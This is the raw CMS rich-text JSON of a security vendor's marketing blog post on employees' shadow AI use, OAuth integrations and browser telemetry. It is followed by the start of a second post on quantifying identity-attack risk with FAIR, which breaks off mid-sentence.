Vercel, which attackers use to host and dynamically rotate attack infrastructure.",{"data":5829,"content":5830,"nodeType":1317},{},[5831],{"data":5832,"marks":5833,"value":5835,"nodeType":865},{},[5834],{"type":926},"AI is making it easier to build and run omni-channel campaigns",{"data":5837,"content":5838,"nodeType":866},{},[5839],{"data":5840,"marks":5841,"value":5842,"nodeType":865},{},[],"Push researchers have written extensively over the last year about malvertising campaigns that serve malicious pages to users via search engine results, enticing them to visit sites designed to steal credentials or deliver malware. ",{"data":5844,"content":5845,"nodeType":866},{},[5846,5850,5859,5863,5870],{"data":5847,"marks":5848,"value":5849,"nodeType":865},{},[],"We've tracked ",{"data":5851,"content":5853,"nodeType":889},{"uri":5852},"https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis/",[5854],{"data":5855,"marks":5856,"value":5858,"nodeType":865},{},[5857],{"type":943},"sustained campaigns",{"data":5860,"marks":5861,"value":5862,"nodeType":865},{},[]," impersonating Onfido, TradingView, Ahrefs, Semrush, and others. These campaigns are part of a self-reinforcing criminal ecosystem: Malvertising campaigns paid for by stolen ad accounts, with credential theft that funds the next round of credential theft. And the recent ",{"data":5864,"content":5865,"nodeType":889},{"uri":883},[5866],{"data":5867,"marks":5868,"value":5869,"nodeType":865},{},[],"LLMShare",{"data":5871,"marks":5872,"value":5873,"nodeType":865},{},[]," campaign identified by Push shows how attackers are combining their abuse of AI tools of AI-assisted phishing page creation with malvertising, helping them to spin up lookalike pages quickly and cheaply to serve as convincing lures.",{"data":5875,"content":5879,"nodeType":912},{"target":5876},{"sys":5877},{"id":5878,"type":909,"linkType":910},"2Gwj25KBjClQ5u8uiEYuYR",[],{"data":5881,"content":5882,"nodeType":866},{},[5883,5887,5892],{"data":5884,"marks":5885,"value":5886,"nodeType":865},{},[],"These are just a few examples of how phishing has moved beyond the inbox, targeting users through malvertising, SEO poisoning, and social media DMs. Over the last year, Push researchers found that ",{"data":5888,"marks":5889,"value":5891,"nodeType":865},{},[5890],{"type":926},"1 in 3 payloads intercepted by the platform were sent outside of email",{"data":5893,"marks":5894,"value":1615,"nodeType":865},{},[],{"data":5896,"content":5897,"nodeType":972},{},[],{"data":5899,"content":5900,"nodeType":981},{},[5901],{"data":5902,"marks":5903,"value":5905,"nodeType":865},{},[5904],{"type":926},"How AI is creating risky employee behaviors ",{"data":5907,"content":5908,"nodeType":866},{},[5909],{"data":5910,"marks":5911,"value":5912,"nodeType":865},{},[],"Meanwhile, on the employee side of the equation, there are three other key concerns that security teams should be paying attention to when it comes to the risks associated with AI use.",{"data":5914,"content":5917,"nodeType":912},{"target":5915},{"sys":5916},{"id":1496,"type":909,"linkType":910},[],{"data":5919,"content":5920,"nodeType":1317},{},[5921,5926,5929],{"data":5922,"marks":5923,"value":5925,"nodeType":865},{},[5924],{"type":926},"Data leaving the business via shadow AI",{"data":5927,"marks":5928,"value":2688,"nodeType":865},{},[],{"data":5930,"marks":5931,"value":5933,"nodeType":865},{},[5932],{"type":926},"and AI extensions",{"data":5935,"content":5936,"nodeType":866},{},[5937],{"data":5938,"marks":5939,"value":5940,"nodeType":865},{},[],"Employees are signing up to AI tools directly, beyond the bounds of procurement or security review. That means security teams can't see sensitive data going into LLMs — clipboard pastes of API keys, file uploads to coding assistants, customer data in uploaded spreadsheets, etc.",{"data":5942,"content":5943,"nodeType":866},{},[5944],{"data":5945,"marks":5946,"value":5947,"nodeType":865},{},[],"Most teams also don't have visibility of AI browser extensions, another avenue for data to leave the business. Extensions are also an attack surface in their own right, as previously benign extensions can be compromised by threat actors through account takeover of the extension developer.",{"data":5949,"content":5950,"nodeType":1317},{},[5951,5956],{"data":5952,"marks":5953,"value":5955,"nodeType":865},{},[5954],{"type":926},"Employees using personal accounts on corporate AI app tenants",{"data":5957,"marks":5958,"value":5959,"nodeType":865},{},[]," ",{"data":5961,"content":5962,"nodeType":866},{},[5963,5967,5975],{"data":5964,"marks":5965,"value":5966,"nodeType":865},{},[],"The 2026 ",{"data":5968,"content":5969,"nodeType":889},{"uri":1063},[5970],{"data":5971,"marks":5972,"value":5974,"nodeType":865},{},[5973],{"type":943},"Verizon DBIR",{"data":5976,"marks":5977,"value":5978,"nodeType":865},{},[]," found that 67% of GenAI users on corporate devices are using non-corporate accounts, and our own data shows that 38% of file uploads to AI tools are made from shadow accounts rather than approved organizational ones.",{"data":5980,"content":5981,"nodeType":866},{},[5982],{"data":5983,"marks":5984,"value":5985,"nodeType":865},{},[],"That means a large number of employees in most organizations are using AI apps with personal accounts, outside of organizational data governance, retention policies, access controls, or basic security oversight. ",{"data":5987,"content":5988,"nodeType":866},{},[5989],{"data":5990,"marks":5991,"value":5992,"nodeType":865},{},[],"The compounding risk is that personal accounts are typically protected by weaker passwords, inconsistent MFA, and credential reuse from other personal services — meaning a compromise of the personal account could give an attacker access to corporate data and tools.",{"data":5994,"content":5995,"nodeType":1317},{},[5996],{"data":5997,"marks":5998,"value":6000,"nodeType":865},{},[5999],{"type":926},"Shadow integrations between AI tools and corporate systems",{"data":6002,"content":6003,"nodeType":866},{},[6004],{"data":6005,"marks":6006,"value":6007,"nodeType":865},{},[],"App-to-app connections accomplished through OAuth are also proliferating faster than most teams can observe and review them. For the average organization, Push sees 17 unique AI app OAuth integrations connected just to Microsoft and Google corporate tenants.",{"data":6009,"content":6010,"nodeType":866},{},[6011,6014,6022],{"data":6012,"marks":6013,"value":1449,"nodeType":865},{},[],{"data":6015,"content":6016,"nodeType":889},{"uri":3841},[6017],{"data":6018,"marks":6019,"value":6021,"nodeType":865},{},[6020],{"type":943},"recent Vercel breach",{"data":6023,"marks":6024,"value":6025,"nodeType":865},{},[]," illustrates the risks of even a single OAuth connection from a compromised third-party AI SaaS provider. This isn't really a new AI threat so much as a shadow SaaS problem that's accelerating alongside AI adoption, given that AI apps are specifically designed to pull data from one system, analyze it in another, and present it in a third — with MCP connections now creating the same kind of persistent, permissioned access through an authentication protocol (OAuth) that most organizations have no process to review.",{"data":6027,"content":6031,"nodeType":912},{"target":6028},{"sys":6029},{"id":6030,"type":909,"linkType":910},"1t2jn4fLxMlH0adMyQqkXk",[],{"data":6033,"content":6034,"nodeType":866},{},[6035],{"data":6036,"marks":6037,"value":6038,"nodeType":865},{},[],"This is the same web of OAuth-connected apps that is being exposed at scale through AI tool integrations. For many organizations, AI tools are now the hub of modern activity that orchestrates and automates across the mesh of cloud apps, which adds a useful perspective on what's changed. ",{"data":6040,"content":6044,"nodeType":912},{"target":6041},{"sys":6042},{"id":6043,"type":909,"linkType":910},"6cRnPkGdwWXRWcct6LfMzo",[],{"data":6046,"content":6050,"nodeType":912},{"target":6047},{"sys":6048},{"id":6049,"type":909,"linkType":910},"5WQZNpnPETWeys1VqubVW",[],{"data":6052,"content":6053,"nodeType":972},{},[],{"data":6055,"content":6056,"nodeType":981},{},[6057],{"data":6058,"marks":6059,"value":6061,"nodeType":865},{},[6060],{"type":926},"What to ask when evaluating browser-based AI visibility and control solutions",{"data":6063,"content":6064,"nodeType":866},{},[6065],{"data":6066,"marks":6067,"value":6068,"nodeType":865},{},[],"When you're evaluating AI visibility and control platforms that operate in the browser, there are two lines of questioning that can be useful to unpack.",{"data":6070,"content":6071,"nodeType":866},{},[6072],{"data":6073,"marks":6074,"value":6075,"nodeType":865},{},[],"The first is the tactical basics: What use cases does the product cover, and how quickly will you see value? In this category, you'll likely be looking for:",{"data":6077,"content":6078,"nodeType":1616},{},[6079,6094,6109,6124],{"data":6080,"content":6081,"nodeType":1570},{},[6082],{"data":6083,"content":6084,"nodeType":866},{},[6085,6090],{"data":6086,"marks":6087,"value":6089,"nodeType":865},{},[6088],{"type":926},"Depth of visibility:",{"data":6091,"marks":6092,"value":6093,"nodeType":865},{},[]," Can the solution observe both corporate and personal account usage of AI apps? Does the solution work with all major browsers, including emerging AI browsers? Does the solution automatically classify AI apps and automatically discover shadow AI?",{"data":6095,"content":6096,"nodeType":1570},{},[6097],{"data":6098,"content":6099,"nodeType":866},{},[6100,6105],{"data":6101,"marks":6102,"value":6104,"nodeType":865},{},[6103],{"type":926},"Granularity of controls:",{"data":6106,"marks":6107,"value":6108,"nodeType":865},{},[]," Does the solution support visibility and control over clipboard interactions, allowing you to identify sensitive data strings like personal access tokens (PATs) or API keys? Does the solution allow you to set multiple enforcement modes (monitor, warn, block) and carve out exceptions for tools, teams and individuals where necessary? ",{"data":6110,"content":6111,"nodeType":1570},{},[6112],{"data":6113,"content":6114,"nodeType":866},{},[6115,6120],{"data":6116,"marks":6117,"value":6119,"nodeType":865},{},[6118],{"type":926},"Ease of deployment:",{"data":6121,"marks":6122,"value":6123,"nodeType":865},{},[]," How is the solution deployed? Browser extension-based solutions like Push can be deployed at scale in an hour. Solutions that require an endpoint agent or a complete browser replacement will be a heavier lift.",{"data":6125,"content":6126,"nodeType":1570},{},[6127],{"data":6128,"content":6129,"nodeType":866},{},[6130,6135],{"data":6131,"marks":6132,"value":6134,"nodeType":865},{},[6133],{"type":926},"Scope of coverage:",{"data":6136,"marks":6137,"value":6138,"nodeType":865},{},[]," Does the solution only enforce policy around AI usage, or does it also prevent AI-enabled attacks in the browser? ",{"data":6140,"content":6141,"nodeType":866},{},[6142],{"data":6143,"marks":6144,"value":6145,"nodeType":865},{},[],"The second set of questions is more about the underlying architectural choices a product has made, and how those translate into actionable intelligence for security teams — or where there may be blind spots. In this category, you will want to ask:",{"data":6147,"content":6148,"nodeType":1317},{},[6149],{"data":6150,"marks":6151,"value":6152,"nodeType":865},{},[],"Does the tool capture AI interactions that didn’t trigger a policy violation — or only the ones it blocked?",{"data":6154,"content":6155,"nodeType":866},{},[6156],{"data":6157,"marks":6158,"value":6159,"nodeType":865},{},[],"This is the most useful diagnostic if you're focused on understanding the wider security meaning and impact of an AI interaction, not just whether it violated a policy. ",{"data":6161,"content":6162,"nodeType":866},{},[6163],{"data":6164,"marks":6165,"value":6166,"nodeType":865},{},[],"Enforcement-first tools record what they stopped: blocked uploads, attempted usage of unapproved apps, flagged file names, etc. ",{"data":6168,"content":6169,"nodeType":866},{},[6170,6174,6179],{"data":6171,"marks":6172,"value":6173,"nodeType":865},{},[],"That's useful for compliance reporting but incomplete for security investigation, because ",{"data":6175,"marks":6176,"value":6178,"nodeType":865},{},[6177],{"type":926},"the most significant events are often the ones that looked normal at the time",{"data":6180,"marks":6181,"value":6182,"nodeType":865},{},[],": A user whose behavior shifted gradually over weeks before a resignation. An approved AI browser extension that updates its permissions, putting it in risky territory. An OAuth consent grant that was technically permitted but shouldn't have been.",{"data":6184,"content":6185,"nodeType":866},{},[6186],{"data":6187,"marks":6188,"value":6189,"nodeType":865},{},[],"Ask whether the tool can collect user behavior telemetry, file upload and download activity, and AI usage logs for permitted events — not just policy violations — and whether that telemetry can be forwarded to your SIEM. ",{"data":6191,"content":6192,"nodeType":866},{},[6193],{"data":6194,"marks":6195,"value":6196,"nodeType":865},{},[],"One approach gives you an investigation tool. The other gives you compliance alerts without deeper context.",{"data":6198,"content":6199,"nodeType":1317},{},[6200],{"data":6201,"marks":6202,"value":6203,"nodeType":865},{},[],"When an AI agent requests OAuth permissions to access your organization's data, does the tool capture the consent flow — what scopes were requested on which app, which user initiated the consent, and what was the outcome?",{"data":6205,"content":6206,"nodeType":866},{},[6207],{"data":6208,"marks":6209,"value":6210,"nodeType":865},{},[],"Most enforcement-first tools treat OAuth as a binary: approved app or blocked app. That was a reasonable model when OAuth grants were primarily app-to-app integrations managed by IT. It isn't sufficient for agentic AI.",{"data":6212,"content":6213,"nodeType":866},{},[6214],{"data":6215,"marks":6216,"value":6217,"nodeType":865},{},[],"AI agents request OAuth permissions to access organizational data on behalf of users. These are user-initiated consent grants that happen inside browser sessions, often with broad scopes, and frequently without security team awareness. The right tool needs to capture the consent event itself: what permissions were requested, what scopes were granted, who approved them, and what application received them. ",{"data":6219,"content":6220,"nodeType":866},{},[6221],{"data":6222,"marks":6223,"value":6224,"nodeType":865},{},[],"Ask whether the tool monitors OAuth consent flows across authorization servers, whether it can warn or block consent grants in real time based on policy, and whether that coverage extends to AI-enabled apps and MCP connections.",{"data":6226,"content":6227,"nodeType":1317},{},[6228],{"data":6229,"marks":6230,"value":6231,"nodeType":865},{},[],"When a new browser attack technique emerges that no tool has a signature for, how long does it take the platform to detect it — and can you show a specific example?",{"data":6233,"content":6234,"nodeType":866},{},[6235],{"data":6236,"marks":6237,"value":6238,"nodeType":865},{},[],"Attackers are rotating infrastructure in hours and using AI to generate new lures and phishing pages at scale. A detection model built on blocklists, reputation feeds, and known-bad indicators is architecturally behind any novel technique because by the time the indicator appears on a feed, the attacker has already moved on.",{"data":6240,"content":6241,"nodeType":866},{},[6242],{"data":6243,"marks":6244,"value":6245,"nodeType":865},{},[],"Ask vendors to show you a specific detection that fired on a novel technique before the infrastructure appeared on any threat feed.",{"data":6247,"content":6248,"nodeType":1317},{},[6249],{"data":6250,"marks":6251,"value":6252,"nodeType":865},{},[],"What browser telemetry reaches your SIEM — just alerts, or the underlying session data that makes those alerts investigable?",{"data":6254,"content":6255,"nodeType":866},{},[6256],{"data":6257,"marks":6258,"value":6259,"nodeType":865},{},[],"Ask to see a sample SIEM event from a real detection. Many browser security tools integrate with SIEMs, but the depth of what they forward varies a lot. ",{"data":6261,"content":6262,"nodeType":866},{},[6263],{"data":6264,"marks":6265,"value":6266,"nodeType":865},{},[],"Some send alert metadata that captures policy violations, timestamps, and involved users. Others forward a broader set of telemetry for deeper context — credential reuse, app logins, newly installed extensions, detected phishing kits, file uploads, clipboard activity, OAuth consent flows, file downloads, etc. ",{"data":6268,"content":6269,"nodeType":866},{},[6270],{"data":6271,"marks":6272,"value":6273,"nodeType":865},{},[],"The difference determines whether your SOC team can easily correlate signals from the browser-based tool with other layers of their stack and begin an investigation from the SIEM event itself — or whether they need to pivot back into the vendor's console for the actual evidence.",{"data":6275,"content":6276,"nodeType":972},{},[],{"data":6278,"content":6279,"nodeType":981},{},[6280],{"data":6281,"marks":6282,"value":6284,"nodeType":865},{},[6283],{"type":926},"AI visibility and control is a feature of the right browser security platform, not a separate purchase",{"data":6286,"content":6287,"nodeType":866},{},[6288],{"data":6289,"marks":6290,"value":6291,"nodeType":865},{},[],"Ultimately, the choice of browser platform for solving the two big problems of the AI era comes down to whether you need broader attack coverage and telemetry context in order to secure your organization, or whether a policy-based approach is enough. ",{"data":6293,"content":6294,"nodeType":866},{},[6295,6299],{"data":6296,"marks":6297,"value":6298,"nodeType":865},{},[],"Push treats the challenges of stopping AI-enabled attacks and providing visibility and control over AI usage as features that extend naturally from the platform's underlying architectural model: Rich browser-layer telemetry in ",{"data":6300,"marks":6301,"value":6303,"nodeType":865},{},[6302],{"type":926},"a single tool that helps security teams answer the question “What actually happened here?” not just “What policy was violated?”",{"data":6305,"content":6306,"nodeType":866},{},[6307],{"data":6308,"marks":6309,"value":6310,"nodeType":865},{},[],"This unified architecture matters because the AI control problem and the browser threat detection problem share a root cause: Security-relevant activity is happening inside browser sessions that most tools can't see. ",{"data":6312,"content":6313,"nodeType":866},{},[6314],{"data":6315,"marks":6316,"value":6317,"nodeType":865},{},[],"A standalone AI governance tool can tell you which AI apps are in use and whether employees violated a usage policy. It can't tell you whether the OAuth grant an AI agent just received was part of a broader pattern that includes credential entry on an unfamiliar domain, a clipboard paste from an internal document, and a login to a shadow SaaS app — all in the same session, all visible in the same telemetry stream. ",{"data":6319,"content":6320,"nodeType":866},{},[6321],{"data":6322,"marks":6323,"value":6324,"nodeType":865},{},[],"Separating AI governance from browser security means maintaining two tools that each only see half the picture. ",{"data":6326,"content":6327,"nodeType":1317},{},[6328],{"data":6329,"marks":6330,"value":6331,"nodeType":865},{},[],"How Push can help",{"data":6333,"content":6334,"nodeType":1616},{},[6335,6358,6380,6402,6412,6422,6432],{"data":6336,"content":6337,"nodeType":1570},{},[6338],{"data":6339,"content":6340,"nodeType":866},{},[6341,6345,6354],{"data":6342,"marks":6343,"value":6344,"nodeType":865},{},[],"Block emerging ",{"data":6346,"content":6348,"nodeType":889},{"uri":6347},"https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/",[6349],{"data":6350,"marks":6351,"value":6353,"nodeType":865},{},[6352],{"type":943},"browser-based attack techniques",{"data":6355,"marks":6356,"value":6357,"nodeType":865},{},[],", including AI-enabled phishing and quickly evolving *Fix-style attacks.",{"data":6359,"content":6360,"nodeType":1570},{},[6361],{"data":6362,"content":6363,"nodeType":866},{},[6364,6368,6376],{"data":6365,"marks":6366,"value":6367,"nodeType":865},{},[],"Benefit from Push's ",{"data":6369,"content":6370,"nodeType":889},{"uri":5233},[6371],{"data":6372,"marks":6373,"value":6375,"nodeType":865},{},[6374],{"type":943},"agentic detection pipeline",{"data":6377,"marks":6378,"value":6379,"nodeType":865},{},[],", which continuously hunts across customer environments to identify emerging threats and ship new detections.",{"data":6381,"content":6382,"nodeType":1570},{},[6383],{"data":6384,"content":6385,"nodeType":866},{},[6386,6389,6398],{"data":6387,"marks":6388,"value":21,"nodeType":865},{},[],{"data":6390,"content":6392,"nodeType":889},{"uri":6391},"https://pushsecurity.com/help/audience/engineering/rest-v1",[6393],{"data":6394,"marks":6395,"value":6397,"nodeType":865},{},[6396],{"type":943},"Stream telemetry",{"data":6399,"marks":6400,"value":6401,"nodeType":865},{},[]," to your SIEM for a wide variety of events, including attack detections; newly installed browser extensions or newly adopted apps; updates to extension permissions; file uploads and downloads; clipboard pastes; app logins; credential reuse; OAuth consents; and more.",{"data":6403,"content":6404,"nodeType":1570},{},[6405],{"data":6406,"content":6407,"nodeType":866},{},[6408],{"data":6409,"marks":6410,"value":6411,"nodeType":865},{},[],"Block file uploads and downloads.",{"data":6413,"content":6414,"nodeType":1570},{},[6415],{"data":6416,"content":6417,"nodeType":866},{},[6418],{"data":6419,"marks":6420,"value":6421,"nodeType":865},{},[],"Block clipboard pastes of sensitive data, with regex-based patterns you can define.",{"data":6423,"content":6424,"nodeType":1570},{},[6425],{"data":6426,"content":6427,"nodeType":866},{},[6428],{"data":6429,"marks":6430,"value":6431,"nodeType":865},{},[],"Monitor for or block unauthorized MCP connections.",{"data":6433,"content":6434,"nodeType":1570},{},[6435],{"data":6436,"content":6437,"nodeType":866},{},[6438,6442,6451],{"data":6439,"marks":6440,"value":6441,"nodeType":865},{},[],"Write your own ",{"data":6443,"content":6445,"nodeType":889},{"uri":6444},"https://pushsecurity.com/help/audience/engineering/resources/custom-detections",[6446],{"data":6447,"marks":6448,"value":6450,"nodeType":865},{},[6449],{"type":943},"custom YAML rules",{"data":6452,"marks":6453,"value":6454,"nodeType":865},{},[]," targeting specific elements of the page DOM, web requests and responses, HTTP headers such as cookies, and a lot more.",{"data":6456,"content":6457,"nodeType":866},{},[6458],{"data":6459,"marks":6460,"value":21,"nodeType":865},{},[],{"data":6462,"content":6466,"nodeType":912},{"target":6463},{"sys":6464},{"id":6465,"type":909,"linkType":910},"7AwQv7bLbARq6mdAgv7uGq",[],{"data":6468,"content":6469,"nodeType":972},{},[],{"data":6471,"content":6472,"nodeType":866},{},[6473,6477,6485],{"data":6474,"marks":6475,"value":6476,"nodeType":865},{},[],"If you'd like to learn more about Push, ",{"data":6478,"content":6479,"nodeType":889},{"uri":1372},[6480],{"data":6481,"marks":6482,"value":6484,"nodeType":865},{},[6483],{"type":943},"book a live demo",{"data":6486,"marks":6487,"value":1615,"nodeType":865},{},[],"Why you can't control AI without being in the browser","Why the right browser security tool makes a separate AI visibility and control purchase unnecessary — and how to decide what you actually need.","why-you-cant-control-ai-without-being-in-the-browser",{"items":6492},[6493,6495],{"sys":6494,"name":297},{"id":2310},{"sys":6496,"name":2314},{"id":2313},{"items":6498},[6499],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":6502},"Kelly Davenport","Kelly",{"url":6503},"https://images.ctfassets.net/y1cdw1ablpvd/1hi8bEuVfn5sF57LivAq6d/9a3b82426c697d765e2e450e33a18424/kelly_profile_pic.jpeg",{"__typename":1429,"sys":6505,"content":6507,"title":7015,"synopsis":7016,"hashTags":59,"publishedDate":7017,"slug":7018,"tagsCollection":7019,"authorsCollection":7025},{"id":6506},"2MWicW07sNEBp59wxYtAiC",{"json":6508},{"data":6509,"content":6510,"nodeType":1382},{},[6511,6519,6550,6556,6563,6582,6597,6600,6608,6623,6642,6667,6673,6689,6720,6726,6732,6748,6751,6759,6766,6774,6792,6808,6815,6840,6847,6855,6885,6892,6900,6907,6913,6916,6924,6931,6939,6945,6948,6956,6963,6970,6977,6989,6992,6998],{"data":6512,"content":6513,"nodeType":981},{},[6514],{"data":6515,"marks":6516,"value":6518,"nodeType":865},{},[6517],{"type":926},"The quantification problem nobody talks about",{"data":6520,"content":6521,"nodeType":866},{},[6522,6526,6534,6538,6546],{"data":6523,"marks":6524,"value":6525,"nodeType":865},{},[],"I was recently teaching ",{"data":6527,"content":6529,"nodeType":889},{"uri":6528},"https://www.sans.org/cyber-security-courses/cybersecurity-leaders/",[6530],{"data":6531,"marks":6532,"value":6533,"nodeType":865},{},[],"SANS LDR551",{"data":6535,"marks":6536,"value":6537,"nodeType":865},{},[],", where we cover some of the flawed approaches used in risk measurement and prioritization — for example, presenting ordinal data in a risk matrix as ratio data, implying that the matrix represents quantitative analysis when it’s more of a best guess. We then look at modeling using ",{"data":6539,"content":6541,"nodeType":889},{"uri":6540},"https://en.wikipedia.org/wiki/Loss_exceedance_curve",[6542],{"data":6543,"marks":6544,"value":6545,"nodeType":865},{},[],"Loss Exceedance Curves",{"data":6547,"marks":6548,"value":6549,"nodeType":865},{},[]," as a more accurate, if much more difficult, approach to quantitative risk assessment.",{"data":6551,"content":6555,"nodeType":912},{"target":6552},{"sys":6553},{"id":6554,"type":909,"linkType":910},"4S1wJUm6E1qvyZzwrl2DL",[],{"data":6557,"content":6558,"nodeType":866},{},[6559],{"data":6560,"marks":6561,"value":6562,"nodeType":865},{},[],"The only problem is, we rarely have the time or the data to construct such models. Ask a CISO how they measure risk for credential compromise and other account takeover attacks, and the answer will probably include one or more of the following: a risk assessment, a whiteboard, and a room full of smart people making educated guesses about attack frequency and control strength. ",{"data":6564,"content":6565,"nodeType":866},{},[6566,6570,6578],{"data":6567,"marks":6568,"value":6569,"nodeType":865},{},[],"That isn't a criticism — for most risk scenarios, expert elicitation is the best (and most convenient) available method. Breach cost data is sparse, threat actor behavior is unpredictable, and internal incident history is (ideally!) a limited sample. Quantitative risk frameworks like ",{"data":6571,"content":6573,"nodeType":889},{"uri":6572},"https://www.fairinstitute.org/",[6574],{"data":6575,"marks":6576,"value":6577,"nodeType":865},{},[],"FAIR",{"data":6579,"marks":6580,"value":6581,"nodeType":865},{},[]," give structure to that uncertainty, but they can't conjure data that just doesn't exist.",{"data":6583,"content":6584,"nodeType":866},{},[6585,6589,6594],{"data":6586,"marks":6587,"value":6588,"nodeType":865},{},[],"The results are usually estimates with wide confidence intervals and loss distributions that appear precise, but are hard to defend to a CFO or a board. Finance leaders have seen Monte Carlo simulations before; the capable ones will challenge the quality of the outputs if they doubt the quality of the inputs. ",{"data":6590,"marks":6591,"value":6593,"nodeType":865},{},[6592],{"type":926},"But with the right telemetry, we can get both",{"data":6595,"marks":6596,"value":1615,"nodeType":865},{},[],{"data":6598,"content":6599,"nodeType":972},{},[],{"data":6601,"content":6602,"nodeType":981},{},[6603],{"data":6604,"marks":6605,"value":6607,"nodeType":865},{},[6606],{"type":926},"Why the identity attack surface is uniquely measurable",{"data":6609,"content":6610,"nodeType":866},{},[6611,6615,6620],{"data":6612,"marks":6613,"value":6614,"nodeType":865},{},[],"We've written extensively about the shift to identity as a primary attack vector — and the evidence continues to stack up. Credential phishing, device code phishing, ClickFix, adversary-in-the-middle attacks, session hijacking, and SaaS account compromise now account for the majority of breach entry points in most enterprise environments. But the silver lining here is that this shift has created something valuable for risk quantification: ",{"data":6616,"marks":6617,"value":6619,"nodeType":865},{},[6618],{"type":898},"a highly observable threat surface",{"data":6621,"marks":6622,"value":1615,"nodeType":865},{},[],{"data":6624,"content":6625,"nodeType":866},{},[6626,6630,6638],{"data":6627,"marks":6628,"value":6629,"nodeType":865},{},[],"Identity attacks execute ",{"data":6631,"content":6632,"nodeType":889},{"uri":6347},[6633],{"data":6634,"marks":6635,"value":6637,"nodeType":865},{},[6636],{"type":943},"in the browser",{"data":6639,"marks":6640,"value":6641,"nodeType":865},{},[],". They leave traces in authentication flows, login behaviors, OAuth integrations, extension activity, and SaaS access patterns — all of which are captured in real time by the Push extension. Unlike network or endpoint attacks, where the signal is often binary and retroactive, browser-based identity threats generate continuous, high-frequency telemetry that maps directly onto the inputs that drive quantitative risk models.",{"data":6643,"content":6644,"nodeType":866},{},[6645,6649,6654,6658,6663],{"data":6646,"marks":6647,"value":6648,"nodeType":865},{},[],"This telemetry directly informs the hardest inputs in any quantitative risk model. One is ",{"data":6650,"marks":6651,"value":6653,"nodeType":865},{},[6652],{"type":926},"Threat Event Frequency (TEF)",{"data":6655,"marks":6656,"value":6657,"nodeType":865},{},[],": how often a threat agent acts against an asset in a given period. For identity risks, this can be answered in how many credential phishing attempts reached your users across all delivery channels (social media, email, malvertising, etc.), or how frequently your users authorize malicious or compromised SaaS apps. Browser-level telemetry can answer these questions with ",{"data":6659,"marks":6660,"value":6662,"nodeType":865},{},[6661],{"type":898},"observed",{"data":6664,"marks":6665,"value":6666,"nodeType":865},{},[]," data rather than industry lookups and general benchmarks. ",{"data":6668,"content":6672,"nodeType":912},{"target":6669},{"sys":6670},{"id":6671,"type":909,"linkType":910},"EvjT68MCWW7nz5q86xe8S",[],{"data":6674,"content":6675,"nodeType":866},{},[6676,6680,6685],{"data":6677,"marks":6678,"value":6679,"nodeType":865},{},[],"The other input to risk modeling that's difficult to express in concrete terms is ",{"data":6681,"marks":6682,"value":6684,"nodeType":865},{},[6683],{"type":926},"vulnerability",{"data":6686,"marks":6687,"value":6688,"nodeType":865},{},[],": the probability a threat becomes a loss event or, more specifically, how likely it is that your controls will fail. ",{"data":6690,"content":6691,"nodeType":866},{},[6692,6696,6704,6708,6716],{"data":6693,"marks":6694,"value":6695,"nodeType":865},{},[],"This is where browser telemetry gets especially concrete. ",{"data":6697,"content":6699,"nodeType":889},{"uri":6698},"https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/",[6700],{"data":6701,"marks":6702,"value":6703,"nodeType":865},{},[],"Analysis of login telemetry across Push-monitored environments",{"data":6705,"marks":6706,"value":6707,"nodeType":865},{},[]," shows that 1 in 4 logins are still password-only (not SSO), 2 in 5 are not protected by MFA, and 1 in 5 use a weak, breached, or reused password. Many of these logins occur outside the visibility of a central IdP platform like Microsoft, Google or Okta — the result of downstream ",{"data":6709,"content":6711,"nodeType":889},{"uri":6710},"https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/",[6712],{"data":6713,"marks":6714,"value":6715,"nodeType":865},{},[],"ghost logins",{"data":6717,"marks":6718,"value":6719,"nodeType":865},{},[],". ",{"data":6721,"content":6725,"nodeType":912},{"target":6722},{"sys":6723},{"id":6724,"type":909,"linkType":910},"5GctExdVGjHRwKifiP00Fp",[],{"data":6727,"content":6731,"nodeType":912},{"target":6728},{"sys":6729},{"id":6730,"type":909,"linkType":910},"2mWToHCJcuB9FMwxxzd67F",[],{"data":6733,"content":6734,"nodeType":866},{},[6735,6739,6744],{"data":6736,"marks":6737,"value":6738,"nodeType":865},{},[],"In a FAIR-based model, TEF and vulnerability together determine ",{"data":6740,"marks":6741,"value":6743,"nodeType":865},{},[6742],{"type":926},"loss event frequency",{"data":6745,"marks":6746,"value":6747,"nodeType":865},{},[],": the foundational driver of the entire risk calculation. Using telemetry from your own environment as the basis for these calculations makes them far more accurate, and more likely to stand up to scrutiny.",{"data":6749,"content":6750,"nodeType":972},{},[],{"data":6752,"content":6753,"nodeType":981},{},[6754],{"data":6755,"marks":6756,"value":6758,"nodeType":865},{},[6757],{"type":926},"The attack surface is bigger than most models assume",{"data":6760,"content":6761,"nodeType":866},{},[6762],{"data":6763,"marks":6764,"value":6765,"nodeType":865},{},[],"One of the consistent failures in identity risk modeling is the tendency to model risks defenders can see, and leave the rest off the balance sheet. These omissions create a systematic understatement of exposure that browser-based telemetry can offset.",{"data":6767,"content":6768,"nodeType":1317},{},[6769],{"data":6770,"marks":6771,"value":6773,"nodeType":865},{},[6772],{"type":926},"Shadow AI and OAuth sprawl",{"data":6775,"content":6776,"nodeType":866},{},[6777,6780,6788],{"data":6778,"marks":6779,"value":21,"nodeType":865},{},[],{"data":6781,"content":6782,"nodeType":889},{"uri":3841},[6783],{"data":6784,"marks":6785,"value":6787,"nodeType":865},{},[6786],{"type":943},"The Vercel breach in April 2026",{"data":6789,"marks":6790,"value":6791,"nodeType":865},{},[]," was the result of an OAuth connection to a third-party AI SaaS tool a developer connected into the organization's Google Workspace tenant (without admin approval). When the AI vendor was compromised, the attacker leveraged stored OAuth tokens to access downstream accounts, ultimately reaching internal dashboards, API keys, and source code. ",{"data":6793,"content":6794,"nodeType":866},{},[6795,6799,6804],{"data":6796,"marks":6797,"value":6798,"nodeType":865},{},[],"Push telemetry across customer environments shows an average of ",{"data":6800,"marks":6801,"value":6803,"nodeType":865},{},[6802],{"type":926},"17 unique AI app integrations per organization in Microsoft and Google alone",{"data":6805,"marks":6806,"value":6807,"nodeType":865},{},[],", most of which security teams would describe as unapproved. These generally don't appear in a conventional risk model that isn't looking for 